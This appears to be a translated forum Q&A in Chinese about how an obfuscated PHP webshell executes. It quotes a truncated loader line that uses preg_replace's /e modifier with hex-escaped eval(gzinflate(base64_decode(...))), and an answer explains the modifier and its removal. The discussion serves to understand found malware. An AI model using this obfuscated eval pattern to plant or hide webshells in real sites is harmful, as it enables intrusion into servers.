谁能解释一下这个PHP代码是如何执行的,因为preg_replace是唯一的功能



谁能解释一下这是如何执行的?这是一个webshell,我能看到的唯一功能是preg_replace。我通常看到的webshell是base64编码的,然后只是eval()ed,但这个使用preg_replace()作为最终函数。

preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'7b1tVxs<<SNIPPED>>Hhkj6Yn/xc='x29x29x29x3B",".");?>
代码

太长,所以我只发布了部分代码。您可以在此处查看完整源代码

这部分

x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28

等于

eval(gzinflate(base64_decode(

但它仍然在双引号内,所以它仍然应该被视为字符串还是我错过了什么?

/e 是一个 PCRE 修饰符 (PREG_REPLACE_EVAL),它在替换之前将字符串计算为 PHP。由于没有进行替换,因此它会评估您复制的内容。在 PHP 5.5 之后,它触发了弃用,在 7.0 之后,由于安全问题,它已被删除。

您可以在此处找到有关 PCRE 修饰符的相应文档。

相关内容

最新更新